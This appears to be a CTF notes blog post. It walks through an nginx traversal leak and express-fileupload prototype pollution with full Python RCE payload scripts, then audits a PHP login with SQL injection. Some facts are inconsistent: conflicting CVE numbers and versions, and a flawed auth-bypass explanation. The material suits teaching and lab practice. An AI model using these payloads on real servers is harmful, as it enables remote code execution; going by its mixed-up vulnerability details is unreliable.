2025.10.27
https://www.cnblogs.com/sun010/articles/18823519
Web16-BadProgrammer(nginx源码泄露漏洞+express-fileupload原型链污染漏洞+express框架)
通过目录遍历,发现nginx配置错误
成功访问到:“static..”
得知app.js中,存在express-fileupload原型链污染漏洞(CVE-2022-24999 原型污染)
#app.js
#//app.js是Express应用的入口,负责初始化,路由和启动服务
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
app.use(fileUpload({ parseNested: true }));
app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
res.render('flag.ejs');
});
app.get('/', (req, res) => {
res.render('index.ejs');
})
app.listen(3000);
app.on('listening', function() {
console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});
3.1 nginx源码泄露漏洞
nginx:是最高性能的web服务器/反向代理,适合高并发,低延迟场景,也是一款前后端工具。前端主要用来托管代码文件,后端一般不直接使用。核心功能为静态托管,负载均衡,缓存,HTTPS支持等。优势有轻量级,易配置,资源占用低。
概念:由于配置错误或软件缺陷,或者Nginx服务器配置不当,身份验证机制不够严格,访问规则过于宽松等原因导致的,导致攻击者能够直接访问Nginx服务器的敏感文件(如源代码,配置文件,环境变量等)。在本题中就是对/static静态文件的访问规则或与宽松导致的,从而从/static目录下进行../../../目录穿透。
3.2 express-fileupload原型链污染漏洞(CVE-2022-24999 原型污染)
概念:express-fileupload:是一个用于Express框架的中间件,专门用于处理文件上传的图片,文档等。当其版本小于1.1.6时,存在一种原型链污染漏洞,攻击者可以通过在上传文件的请求中设置特定的__proto__属性来污染原型链。
在哪:所有版本低于1.1.8版本的,就会存在CVE-2020-7699漏洞,查看package.json文件,发现引用的expreess版本为1.1.7-alpha4,则存在该漏洞
用法:通过污染ejs中outFunctionName变量,实现远程代码执行(RCE)。
3.3 express框架
概念:是一个基于Node.js的轻量级的Web应用框架,用于快速构建后端API或服务器渲染(SSR)应用
尝试通过/4_pATh_y0u_CaNN07_Gu3ss进行RCE,并且进行污染:(其中,方法1,方法2,方法3均成功,方法4失败)(还可以尝试cp /flag.txt到项目中直接查看)
import requests
url = "http://61.147.171.35:55763/4_pATh_y0u_CaNN07_Gu3ss"
# 方法1:使用全局的process对象
payload_global = {
"__proto__.outputFunctionName": "_; return global.process.mainModule.require('child_process').execSync('cat /flag.txt').toString(); _"
}
# 方法2:使用模块缓存
payload_cache = {
"__proto__.outputFunctionName": "_; return this.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString(); _"
}
# 方法3:使用Buffer的require
payload_buffer = {
"__proto__.outputFunctionName": "_; return Buffer.constructor('return process.mainModule.require(\"child_process\")')().execSync('cat /flag.txt').toString(); _"
}
# 方法4:尝试直接使用execSync(如果已经在全局)
payload_direct = {
"__proto__.outputFunctionName": "_; return execSync('cat /flag.txt').toString(); _"
}
payloads = [
("全局process对象", payload_global),
("模块缓存", payload_cache),
("Buffer构造", payload_buffer),
("直接execSync", payload_direct)
]
for name, payload in payloads:
print(f"\n[*] 尝试方法: {name}")
try:
response = requests.post(url, data=payload, files={'file': ('test.txt', 'dummy-data')})
print(f"状态码: {response.status_code}")
# 检查是否有命令执行结果
if response.status_code == 200 and 'flag{' in response.text:
print("[+] 成功获取flag!")
print(response.text)
break
elif "require is not defined" in response.text:
print("[-] require未定义")
elif "execSync is not defined" in response.text:
print("[-] execSync未定义")
else:
print("响应预览:", response.text[:500])
except Exception as e:
print(f"错误: {e}")
方法5:cp文件
import requests
resp1 = requests.post("http://{}:{}/{}".format('61.147.171.3', '55763', '4_pATh_y0u_CaNN07_Gu3ss'),
files={'__proto__.outputFunctionName':
(
None,
"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/js/flag.txt')
)})
print(resp1)
2025.10.28
PHP认证绕过漏洞(代码审计)
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
关键绕过部分:
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
当数据库查询返回空结果时,代码未正确处理空密码比较。如果数据库中没有匹配用户,$row[‘sds_password’]为null,strcasecmp(null, 空密码)可能返回0,导致认证绕过
(当然这里也有SQL注入,SQL注入也能拿到密码从而间接拿到flag)
自动化代码审计得到的结果
